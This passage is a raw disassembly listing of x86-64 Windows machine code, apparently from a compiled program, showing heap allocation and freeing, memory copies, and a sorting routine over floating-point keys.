mov rsi, qword [rsp + 0xc0]
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14003255d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r11, qword [rsp + 0x40]
test rax, rax
je 0x140032579
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r11
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r11, qword [rsp + 0x40]
mov rcx, rax
test rax, rax
jne 0x140033223
mov ecx, 1
mov rdx, r11
call fcn.14015d7f0
ud2
cmp qword [rsp + 0xe0], 0
je 0x1400325a5
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x48]
mov rsi, qword [rax + 0x10]
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], 0
lea r8, [0x140204680]
lea rdi, [rsp + 0xd0]
lea rdx, [rsp + 0x180]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a950
mov rcx, qword [rsp + 0xa0]
mov rdx, rsi
mov r8, rdi
call fcn.14001aa90
jmp 0x140034a4e
mov ebx, 1
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rsp + 0x48]
mov rax, qword [rsi + 0x10]
imul rcx, qword [rax + 0xe0], 0x298
mov rax, qword [rax + 0xd0]
add rcx, rax
mov qword [rsp + 0x180], 2
mov qword [rsp + 0x1a8], 2
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], rdi
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x180]
call fcn.14003c300
cmp qword [rsp + 0xd8], 0
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x178], rbx
je 0x14003287a
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400326c5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140035908
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140035908
mov r12, rax
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 4
mov qword [rsp + 0x210], 1
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x120], xmm0
movups xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x110], xmm0
movupd xmm0, xmmword [rsp + 0x180]
movupd xmm1, xmmword [rsp + 0x190]
movupd xmm2, xmmword [rsp + 0x1a0]
movupd xmm3, xmmword [rsp + 0x1b0]
movapd xmmword [rsp + 0x100], xmm3
movapd xmmword [rsp + 0xf0], xmm2
movapd xmmword [rsp + 0xe0], xmm1
movapd xmmword [rsp + 0xd0], xmm0
mov eax, 1
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rsp + 0x2e8], rax
lea rsi, [rsp + 0x240]
lea rdi, [rsp + 0xd0]
lea rbx, [rsp + 0x200]
mov r15d, 1
jmp 0x14003280f
mov rax, r15
shl rax, 5
movdqu xmm0, xmmword [rsp + 0x240]
movdqu xmm1, xmmword [rsp + 0x250]
movdqu xmmword [r12 + rax + 0x10], xmm1
movdqu xmmword [r12 + rax], xmm0
inc r15
mov qword [rsp + 0x210], r15
add qword [rsp + 0x2e8], 0x20
dec qword [rsp + 0x58]
mov rcx, rsi
mov rdx, rdi
call fcn.14003c300
cmp qword [rsp + 0x248], 0
je 0x140032844
cmp r15, qword [rsp + 0x208]
jne 0x1400327d0
mov rcx, rbx
mov rdx, r15
call fcn.140044bb0
mov r12, qword [rsp + 0x200]
jmp 0x1400327d0
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x330], rax
cmp r15, 0x15
jae 0x14003288a
cmp r15, 1
jbe 0x140032f72
mov r8d, 1
mov rcx, r12
mov rdx, r15
call fcn.14003c420
jmp 0x140032f7b
mov ebp, 8
xor r12d, r12d
xor r15d, r15d
jmp 0x140033687
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400328b6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14003593e
mov rcx, rax
mov qword [0x140215360], rax
mov rax, r15
shl rax, 4
movabs r8, 0x7fffffffffffffe0
and r8, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14003593e
mov rbx, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14003290a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140035958
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x100
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140035958
lea rcx, [r12 + 0x40]
mov qword [rsp + 0xb8], rcx
lea rcx, [r12 - 0x20]
mov qword [rsp + 0x2d0], rcx
mov ecx, reloc.WS2_32.dll_recv
mov qword [rsp + 0x50], rcx
xor edi, edi
xor r13d, r13d
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x228], r15
mov qword [rsp + 0x68], r12
jmp 0x140032977
mov r13d, 1
mov rdi, qword [rsp + 0x2c8]
cmp rdi, r15
jae 0x140032f4f
mov r8, r15
sub r8, rdi
mov r11, rdi
shl r11, 5
lea rcx, [r12 + r11]
cmp r8, 2
jae 0x1400329f0
mov r9, r15
mov rsi, r9
sub rsi, rdi
jb 0x1400357d3
cmp r9, r15
ja 0x1400357d3
jae 0x140032a20
cmp r8, 0xa
jae 0x140032a20
lea rsi, [rdi + 0xa]
cmp rsi, r15
cmovae rsi, r15
mov qword [rsp + 0x2c8], rsi
sub rsi, rdi
jb 0x140035828
mov r14, rax
cmp r8, 1
adc r8, 0
mov rdx, rsi
call fcn.14003c420
mov rax, r14
cmp r13, qword [rsp + 0x50]
je 0x140032a33
jmp 0x140032ab6
movsd xmm0, qword [rcx]
movsd xmm1, qword [rcx + 0x20]
ucomisd xmm0, xmm1
ja 0x140032e00
cmp r8, 2
jne 0x140032e15
lea r9, [rdi + 2]
mov r8d, 2
jmp 0x140032991
mov qword [rsp + 0x2c8], r9
cmp r13, qword [rsp + 0x50]
jne 0x140032ab6
mov r14, rax
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x140032a5f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140035807
mov qword [0x140215360], rax
mov r8, r13
shl r8, 5
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140035807
mov rbx, rax
lea rax, [r13*2]
mov qword [rsp + 0x50], rax
mov r8, r13
shl r8, 4
mov rcx, rbx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rcx, r13
shl rcx, 4
mov qword [rax + rcx], rsi
mov qword [rax + rcx + 8], rdi
inc r13
mov rcx, r13
cmp r13, 2
mov qword [rsp + 0x78], rax
jae 0x140032b5b
jmp 0x140032966
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
sub r15, rdx
mov rcx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rbp, r14
mov rax, qword [rsp + 0x88]
mov qword [rax], rbp
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x230]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x70]
lea rdx, [rcx + 0x10]
mov rax, qword [rsp + 0xc0]
not rax
mov r8, qword [rsp + 0x40]
add r8, rax
shl r8, 4
call sub.VCRUNTIME140.dll_memmove
mov rcx, qword [rsp + 0xa8]
cmp rcx, 1
mov r15, qword [rsp + 0x228]
mov rax, qword [rsp + 0x78]
jbe 0x140032960
mov r13, rcx
lea r11, [rcx - 1]
mov rcx, r11
shl rcx, 4
mov r10, qword [rax + rcx]
mov rcx, qword [rax + rcx + 8]
add rcx, r10
cmp rcx, r15
je 0x140032bd0
mov rdx, r13
shl rdx, 4
mov r8, qword [rdx + rax - 0x20]
cmp r8, r10
jbe 0x140032bd0
cmp r13, 3
jb 0x140032f39
lea rsi, [r13 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rax + rcx]
lea r9, [r8 + r10]
cmp rcx, r9
jbe 0x140032be5
cmp r13, 4
jb 0x140032f44
add r8, rcx
cmp qword [rdx + rax - 0x40], r8
jbe 0x140032be5
jmp 0x140032966
cmp r13, 3
jb 0x140032bea
lea rsi, [r13 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rax + rcx]
cmp rcx, r10
jb 0x140032bee
lea rsi, [r13 - 2]
cmp r13, rsi
jbe 0x140035742
lea rdx, [rsi + 1]
mov qword [rsp + 0x40], r13
cmp r13, rdx
jbe 0x1400356f5
mov r8, rsi
shl r8, 4
mov rcx, qword [rax + r8 + 8]
shl rdx, 4
mov rbp, qword [rax + rdx]
mov r13, qword [rax + rdx + 8]
add r13, rbp
mov rbx, r13
sub rbx, rcx
jb 0x14003578f
mov qword [rsp + 0xc0], rsi
cmp r13, r15
ja 0x1400357a0
mov qword [rsp + 0xa8], r11
lea r9, [rax + r8]
mov qword [rsp + 0x70], r9
mov r14, qword [rax + r8]
lea r8, [rax + rdx]
mov qword [rsp + 0x88], r8
lea rax, [rax + rdx + 8]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x90], rcx
mov rsi, rcx
shl rsi, 5
add rsi, r12
mov r15, r14
shl r15, 5
lea rdi, [rsi + r15]
shl r13, 5
mov r12, rbx
sub r12, r14
cmp r12, r14
jae 0x140032d40
mov r15, r12
shl r15, 5
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r15, rbx
test r14, r14
jle 0x140032de0
test r12, r12
jle 0x140032de0
add r13, qword [rsp + 0x2d0]
mov r12, qword [rsp + 0x68]
nop dword [rax]
movsd xmm0, qword [rdi - 0x20]
movsd xmm1, qword [r15 - 0x20]
xor eax, eax
xor ecx, ecx
ucomisd xmm0, xmm1
setbe al
seta cl
shl rcx, 5
sub rdi, rcx
shl rax, 5
sub r15, rax
ucomisd xmm0, xmm1
mov rax, r15
cmova rax, rdi
movupd xmm0, xmmword [rax]
movupd xmm1, xmmword [rax + 0x10]
movupd xmmword [r13 + 0x10], xmm1
movupd xmmword [r13], xmm0
cmp rdi, rsi
jbe 0x140032d35
add r13, 0xffffffffffffffe0
cmp r15, rbx
ja 0x140032ce0
mov rsi, rdi
jmp 0x140032ae5
mov r12, qword [rsp + 0x60]
mov rcx, r12
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r15, r12
test r14, r14
jle 0x140032de5
cmp rbx, r14
mov r12, qword [rsp + 0x68]
jle 0x140032ae0
add r13, r12
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
nop dword [rax + rax]
mov r8, rdx
movsd xmm0, qword [rdx]
xor edx, edx
xor eax, eax
ucomisd xmm0, qword [rdi]
setbe dl
seta cl
mov r9, r8
cmova r9, rdi
movupd xmm0, xmmword [r9]
movupd xmm1, xmmword [r9 + 0x10]
movupd xmmword [rsi + 0x10], xmm1
movupd xmmword [rsi], xmm0
add rsi, 0x20
shl rdx, 5
add rdx, r8
cmp rdx, r15
jae 0x140032ae8
mov al, cl
shl rax, 5
add rdi, rax
cmp rdi, r13
jb 0x140032d80
jmp 0x140032ae8
mov rsi, rdi
jmp 0x140032dea
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
mov r12, qword [rsp + 0x68]
jmp 0x140032ae8
cmp r8, 2
jne 0x140032e55
lea r9, [rdi + 2]
mov r8d, 2
jmp 0x140032ea7
mov rdx, qword [rsp + 0x58]
lea r9, [rdx + rdi]
add r11, qword [rsp + 0xb8]
mov edx, 2
movapd xmm2, xmm1
nop
movapd xmm3, xmm2
movsd xmm2, qword [r11]
ucomisd xmm3, xmm2
ja 0x140032e96
lea r10, [r9 + rdx]
inc r10
inc rdx
add r11, 0x20
cmp r10, 2
jne 0x140032e30
jmp 0x140032e93
mov rdx, qword [rsp + 0x58]
lea r9, [rdx + rdi]
add r11, qword [rsp + 0xb8]
mov edx, 2
movapd xmm2, xmm1
nop
movapd xmm3, xmm2
movsd xmm2, qword [r11]
ucomisd xmm3, xmm2
jbe 0x140032e96
lea r10, [r9 + rdx]
inc r10
inc rdx
add r11, 0x20
cmp r10, 2
jne 0x140032e70
mov rdx, r8
lea r9, [rdx + rdi]
ucomisd xmm0, xmm1
mov r8, rdx
jbe 0x140032991
cmp rdi, r9
ja 0x140035895
cmp r9, r15
ja 0x1400358a9
cmp r8, 2
jb 0x140032991
mov r11, r9
mov r10, r8
shr r10, 1
lea rdx, [rdi + r8]
shl rdx, 5
add rdx, qword [rsp + 0x2d0]
mov r9, rcx
nop
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r9 + 0x10], xmm1
movups xmmword [r9], xmm0
movapd xmm0, xmmword [rsp + 0xd0]
movapd xmm1, xmmword [rsp + 0xe0]
movupd xmmword [rdx + 0x10], xmm1
movupd xmmword [rdx], xmm0
add r9, 0x20
add rdx, 0xffffffffffffffe0
dec r10
jne 0x140032ee0
mov r9, r11
jmp 0x140032991
mov r13d, 2
jmp 0x140032966
mov r13d, 3
jmp 0x140032966
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rax
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
call rsi
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call rsi
test r15, r15
je 0x14003365a
lea rax, [r15*8]
lea rsi, [rax + rax*2]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140032fb3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400358f9
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400358f9
mov rbp, rax
mov rax, r15
shl rax, 5
add rax, r12
mov rdx, rbp
add rdx, 8
mov r11, qword [rsp + 0x2e8]
lea r8, [r11 + 0x20]
xor ecx, ecx
mov r10, r12
xor r12d, r12d
mov rsi, qword [rsp + 0x48]
nop word cs:[rax + rax]
mov r9, qword [r10 + rcx + 8]
test r9, r9
je 0x140033148
movupd xmm0, xmmword [r10 + rcx + 0x10]
mov qword [rdx - 8], r9
movupd xmmword [rdx], xmm0
inc r12
add rcx, 0x20
add rdx, 0x18
cmp r8, rcx
jne 0x140033000
jmp 0x14003319e
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
mov qword [rsp + 0x560], rcx
mov bl, 1
xor r12d, r12d
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r8, qword [rsp + 0x60]
call fcn.140038e70
movzx eax, byte [rsp + 0xf0]
cmp al, 0x16
jne 0x1400331b5
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r8, qword [rsp + 0x60]
call fcn.14003c8f0
movzx eax, byte [rsp + 0xf0]
cmp al, 0x16
jne 0x1400331b5
mov rsi, qword [rsi + 0x10]
lea rcx, [rsp + 0xd8]
mov rdx, rsi
call fcn.14001fd70
mov qword [rsp + 0xd0], rsi
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x78]
mov r9, rdi
call fcn.14003d770
test r15, r15
sete al
or bl, al
jne 0x1400330f6
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe8]
test rdi, rdi
je 0x1400348fe
lea rbx, [rsi + 8]
jmp 0x14003312d
add rbx, 0x20
dec rdi
je 0x1400348fe
cmp qword [rbx], 0
je 0x140033120
mov r8, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140033120
lea rdx, [r10 + rcx]
add rdx, 0x20
cmp rax, rdx
je 0x14003319e
sub r11, rcx
mov rdi, r10
lea rsi, [r10 + rcx]
add rsi, 0x30
shr r11, 5
jmp 0x14003317d
add rsi, 0x20
dec r11
je 0x140033665
cmp qword [rsi], 0
je 0x140033170
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov rbx, r11
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r11, rbx
jmp 0x140033170
mov rdi, r10
cmp qword [rsp + 0x330], 0
jne 0x140033675
jmp 0x140033687
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmm1, xmmword [rsp + 0xe0]
mov r8, qword [rsp + 0xa0]
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
mov ecx, dword [rsp + 0xf1]
mov edx, dword [rsp + 0xf4]
mov dword [r8 + 0x21], ecx
mov dword [r8 + 0x24], edx
mov byte [r8 + 0x20], al
test bl, bl
jne 0x140034a7b
test r15, r15
je 0x140034a7b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
jmp case.0x14002d090.248
mov ecx, 1
mov rsi, qword [rsp + 0xc0]
mov qword [rsp + 0xa8], rcx
mov rdx, rsi
mov r8, r11
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x70], 0
jne 0x140033258
call fcn.140077390
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x78]
mov rdx, qword [rax + 0x80]
lea r8, [rcx + 1]
mov qword [rax + 0x78], r8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], 0
movdqu xmmword [rsp + 0xf8], xmm0
lea rax, [0x1401dea30]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xf0], 8
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], 0
mov byte [rsp + 0x140], 4
mov r15, qword [rbx + 0x10]
mov rbp, qword [rsp + 0x560]
cmp rbp, r15
jae 0x140033493
mov rsi, qword [rdi + 0x250]
mov r13, qword [rdi + 0x258]
movabs r8, 0x1c9d3adb639f298e
call fcn.140037220
mov rbx, rax
mov eax, esi
or eax, r13d
test eax, 0x4000
je 0x140035972
or si, r13w
lea rax, [0x140022060]
lea rdx, [0x14001a920]
cmovs rdx, rax
lea rcx, [0x140204680]
call rdx
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x198], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x180], 1
mov qword [rsp + 0x190], rdx
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x1b0], 8
movdqu xmmword [rsp + 0x1b8], xmm0
mov qword [rsp + 0x1c8], 8
mov word [rsp + 0x1e8], 0x300
movdqu xmmword [rsp + 0x1d0], xmm0
lea rcx, [rsp + 0xd0]
movabs r8, 0x1c9d3adb639f298e
lea r9, [rsp + 0x180]
mov rdx, rbx
call fcn.140036f60
mov rdx, qword [rsp + 0x100]
cmp rax, rdx
jae 0x1400356e4
mov rcx, qword [rsp + 0xf0]
shl rax, 7
lea rsi, [rcx + rax]
movzx ecx, byte [rcx + rax + 0x69]
mov al, 2
cmp cl, 3
mov rbx, qword [rsp + 0x88]
je 0x140033420
movzx ecx, cl
mov eax, 2
cmovae eax, ecx
mov byte [rsi + 0x69], al
inc qword [rsi + 0x60]
mov rdx, qword [rsi + 0x40]
cmp rdx, qword [rsi + 0x38]
jne 0x14003343e
lea rcx, [rsi + 0x30]
call fcn.14004ef00
mov rdx, qword [rsi + 0x40]
mov rax, qword [rsi + 0x30]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
pxor xmm6, xmm6
movdqu xmmword [rax + rcx*8 + 8], xmm6
mov qword [rsi + 0x40], rdx
mov rdx, qword [rsi + 0x58]
cmp rdx, qword [rsi + 0x50]
jne 0x140033476
lea rcx, [rsi + 0x48]
call fcn.14004ef00
mov rdx, qword [rsi + 0x58]
mov rax, qword [rsi + 0x48]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
movdqu xmmword [rax + rcx*8 + 8], xmm6
mov qword [rsi + 0x58], rdx
cmp rbp, r15
ja 0x14003592a
mov rax, qword [rbx]
mov qword [rsp + 0x560], r15
jne 0x1400334e7
mov r8, qword [rsp + 0x40]
test r8, r8
mov r15, qword [rsp + 0xa8]
je 0x140033fc8
mov ecx, r8d
and ecx, 7
movabs rax, 0x100000001b3
cmp r8, 8
jae 0x140034058
mov r9d, 0x811c9dc5
mov rdx, r15
jmp 0x1400340d9
or r14d, r12d
movzx ecx, r14w
shr ecx, 0xf
shl r15, 5
add r15, rax
shl rbp, 5
add rbp, rax
lea rax, [0x140021e60]
lea rsi, [0x14001a470]
test cl, cl
cmovne rsi, rax
lea r12, [rsp + 0x180]
jmp 0x14003359e
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140035852
mov rcx, rbx
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], r14
mov qword [rsp + 0x190], r14
mov byte [rsp + 0x198], 0
lea rcx, [rsp + 0xd0]
movabs rdx, 0x1c9d3adb639f298e
lea r8, [rsp + 0x470]
mov r9, r12
call fcn.140043f40
add rbp, 0x20
cmp rbp, r15
je 0x1400334a9
mov r13, qword [rbp]
mov r14, qword [rbp + 0x10]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov rcx, r12
lea rdx, [0x140204680]
mov r8, rdi
xor r9d, r9d
call rsi
movzx eax, byte [rsp + 0x1a0]
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x240], xmm0
movaps xmmword [rsp + 0x250], xmm1
cmp al, 0x16
jne 0x140033fe5
movdqa xmm0, xmmword [rsp + 0x240]
movdqa xmm1, xmmword [rsp + 0x250]
movdqa xmmword [rsp + 0x470], xmm0
movdqa xmmword [rsp + 0x480], xmm1
test r14, r14
je 0x140033650
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x140033527
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
jne 0x140033520
jmp 0x140035852
mov ebx, 1
jmp 0x140033541
mov rdi, r12
mov ebp, 8
xor r12d, r12d
mov rsi, qword [rsp + 0x48]
cmp qword [rsp + 0x330], 0
je 0x140033687
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x98], 0
je 0x1400336a9
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x178]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rsp + 0x290]
test r8, r8
je 0x1400336d0
cmp qword [rsp + 0x298], 0
je 0x1400336d0
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x1400338c3
movabs rax, 0x555555555555556
cmp r12, rax
jae 0x140035821
lea rax, [r12*8]
lea rsi, [rax + rax*2]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033724
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400358f9
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400358f9
mov qword [rsp + 0x228], r15
xor ebx, ebx
lea rsi, [rsp + 0x180]
mov r14, rbp
mov rbp, r12
lea r15, [rsp + 0x240]
lea rdi, [rsp + 0x200]
mov r13, qword [rsp + 0x40]
nop word [rax + rax]
lea rax, [r14 + rbx]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x240], rdi
lea rax, [0x14002e5a0]
mov qword [rsp + 0x248], rax
lea rax, [0x14016b590]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], 1
mov rcx, rsi
lea rdx, [rsp + 0xd0]
call fcn.140014120
mov rax, qword [rsp + 0x190]
mov qword [r13 + rbx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x180]
movdqu xmmword [r13 + rbx], xmm0
add rbx, 0x18
dec rbp
jne 0x140033770
mov rbp, r14
mov rdx, qword [rsp + 0x80]
test rdx, rdx
mov rax, qword [rsp + 0x48]
mov r13, qword [rax + 0x10]
cmove rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x428]
mov r8, qword [rsp + 0xc8]
call fcn.140013eb0
mov r15, qword [rsp + 0x428]
mov rax, qword [rsp + 0x430]
test r15, r15
mov rbx, r15
cmove rbx, rax
mov rsi, qword [rsp + 0x438]
test rsi, rsi
mov qword [rsp + 0xc0], rax
je 0x14003399d
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
mov rdi, qword [rsp + 0x40]
jne 0x1400338a7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140033b64
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x1400339a8
jmp 0x140033b64
mov rdi, qword [rsi + 0x10]
cmp qword [rdi + 0xb0], 0
je 0x1400338f8
mov rax, qword [rdi + 0x250]
or rax, qword [rdi + 0x258]
bt rax, 0x24
jae 0x140033f23
cmp qword [rdi + 0xe0], 0
je 0x140033f23
mov rdx, qword [rsp + 0x80]
test rdx, rdx
cmove rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x180]
mov r8, qword [rsp + 0xc8]
call fcn.140013eb0
mov rsi, qword [rsp + 0x180]
mov r13, qword [rsp + 0x188]
test rsi, rsi
mov r14, rsi
cmove r14, r13
mov rbx, qword [rsp + 0x190]
test rbx, rbx
je 0x140034845
js 0x140035821
mov r12, r15
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033981
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140034be4
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x14003484e
jmp 0x140034be4
mov r14d, 1
mov rdi, qword [rsp + 0x40]
mov rcx, r14
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x338], r14
mov qword [rsp + 0x340], rsi
mov qword [rsp + 0x348], rsi
mov qword [rsp + 0x20], 4
lea r9, str._or
lea rcx, [rsp + 0x440]
mov rdx, rdi
mov r8, r12
call fcn.140021050
mov rdi, r13
mov rsi, qword [r13 + 0x160]
test rsi, rsi
je 0x140033a59
lea rax, [rdi + 0x170]
mov rbx, qword [rax]
test rbx, rbx
je 0x140033a69
js 0x140035821
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033a41
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140034be4
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140033a6f
jmp 0x140034be4
mov rsi, qword [rdi + 0x40]
lea rax, [rdi + 0x50]
mov rbx, qword [rax]
test rbx, rbx
jne 0x140033a0f
mov r14d, 1
mov rcx, r14
mov rdx, rsi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x368], r14
mov qword [rsp + 0x370], rbx
mov qword [rsp + 0x378], rbx
mov qword [rsp + 0x3b8], rdi
mov qword [rsp + 0x3c0], 0
lea r8, [0x140204680]
lea rcx, [rsp + 0x458]
lea rdx, [rsp + 0x3b8]
xor r9d, r9d
call fcn.14001a950
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140033af4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400358d7
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400358d7
mov rbx, rax
mov r13, qword [rsp + 0x338]
